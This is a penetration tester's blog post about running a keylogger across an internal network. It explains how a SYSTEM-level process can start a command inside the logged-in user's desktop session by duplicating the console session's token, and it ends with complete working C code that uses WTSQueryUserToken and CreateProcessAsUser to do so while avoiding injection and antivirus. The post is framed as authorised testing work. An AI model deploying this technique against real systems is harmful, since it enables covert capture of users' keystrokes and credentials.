I really don’t consider myself to be a Win32 expert at all. My programming hobby lifestyle moved away from development on Windows to the UNIX world as soon as I could. But my job means hacking Windows, so I have been working on my knowledge in this area so that I can just get things done.

I’m working on a keylogging framework to support a couple fun attacks I want to do on pen-tests, and one of the barriers I’ve encountered has to do with effective deployment and safe operation of a keylogging “botnet” on an internal network. OK, so that’s a little self-aggrandizing, but nevertheless… last week I overcame a hurdle and learned a couple neat things…

It turns out that any process can check the status of the keyboard, as the Win32 API calls that do so are given access to any keystrokes in the desktop. But “the desktop” is a thing. When you look at the logon screen in Windows, you are looking at desktop zero (0). But once you login, and your normal desktop appears, it’s probably desktop 1 (though it could be 2, 3, 4, etc.). With terminal servers, it gets more interesting because there might be lots of desktops at the same time. Every process has a desktop assignment, and they get these from their primary tokens. Unfortunately, lots of remote code execution opportunities get you in desktop 0, so no key strokes.

So to key log, you need to get your process running on the desktop whose keystrokes you want. Meterpreter handles this by migrating into a desktop process (like explorer.exe). This works fine, except that it’s sort of the “if all you have is a hammer” approach. I started playing with another way that doesn’t involve so much overkill.

Why go injection free? Well, some defensive tools prevent injection – if you migrate and meterpreter mysteriously dies, that’s possibly what’s going on. Even just installing a whole meterpreter is overkill. All I want to do is key-log. If I’m bound to meterpreter, then anything that impacts my meterpreter and metasploit toolchain threatens my key logging. If Metasploit crashes (which it has been doing more and more these days), then all my key loggers are dead. And I don’t know about what other people see, but sometimes the keylogrecorder module just punches out and I don’t get keystrokes any more. I’d like something lighter… something more svelte… more reliable.

But if I’m not going to have Meterpreter and I want to avoid DLL injection, what mechanism can I use to get my key logging process in the desktop session? The answer (so far) is actually a simplified incognito. Maybe we can call it “Incognito Lite”. Incognito seems really mysterious at first, but it’s really just a few Win32 API calls. Desktop session assignments come from tokens, and incognito steals tokens.

Why “lite”? Unlike the typical incognito approach, we don’t want to get all the tokens and pick one. We just want a token for the primary desktop. And that’s where these handy functions come into play:

int console = WTSGetActiveConsoleSessionId();
WTSQueryUserToken(console, &token);

The above call will write a reference to a user token from the desktop with a keyboard and mouse into the token variable so we can use it. The rest is a straightforward process of assembling the parts for a CreateProcessAsUser(...) call, using this token. It’s so simple, I really think there should be more than just the handful of Internet references to it.

For now I’m quite happy with using this method to create a process in the target desktop. Using this, I threaten no other processes, don’t have to match architectures, create remote threads, or bypass A/V. And, this can be run easily using any SYSTEM-level remote code execution mechanism, such as winexe or creating services. Heck, starting it from meterpreter might even make sense.

For reference, here’s code that (when run as SYSTEM) runs a command in the active console desktop session:

#include "stdafx.h"
#include <windows.h>
#include <WtsApi32.h>
#include <UserEnv.h>

#pragma comment(lib, "wtsapi32.lib")
#pragma comment(lib, "userenv.lib")


int _tmain(int argc, _TCHAR* argv[])
{
  int sessionid;
  HANDLE token;
  STARTUPINFO si;
  PROCESS_INFORMATION pi;

  sessionid = WTSGetActiveConsoleSessionId();
  printf("Active console: %d\n", sessionid);

  if (!WTSQueryUserToken(sessionid, &token)) {
    printf("Could not get user token, are you SYSTEM?\n");
    printf("Last error: %d\n", GetLastError());
    return 1;
  }

  memset(&si, 0, sizeof(si));
  memset(&pi, 0, sizeof(pi));
  si.cb = sizeof(STARTUPINFO);
	
  HANDLE primaryToken;
  if (!DuplicateTokenEx(
			token, 
			TOKEN_ASSIGN_PRIMARY | TOKEN_ALL_ACCESS, 
			0, 
			SecurityImpersonation, 
			TokenPrimary, 
			&primaryToken
			)) {
    printf("Could not duplicate token... last error: %d\n", GetLastError());
    return 2;
  }

  SECURITY_ATTRIBUTES sec1, sec2;

  TCHAR path[1024];
  wcscpy(path, argv[1]);

  CreateProcessAsUser(
		      primaryToken,				// The primary token for the new process
		      0,				        // This would be the "application name", but NULL works
                      path,                                     // The command line -- will be changed, so must be mutable!
                      NULL,                                     // Security attributes
                      NULL,                                     // Security attributes
                      FALSE,                                    // Don't inherit handles from this program
                      DETACHED_PROCESS | HIGH_PRIORITY_CLASS,   // options for the new process
                      NULL,                                     // No prebuilt environment
                      0,                                        // Use the parent's starting directory as CWD
                      &si,                                      // Startup information structure
                      &pi                               	// Process information structure
		      );
	
  CloseHandle(primaryToken);
  CloseHandle(token);

  printf("Started process using token at PID: %d", pi.dwProcessId);

  return 0;
}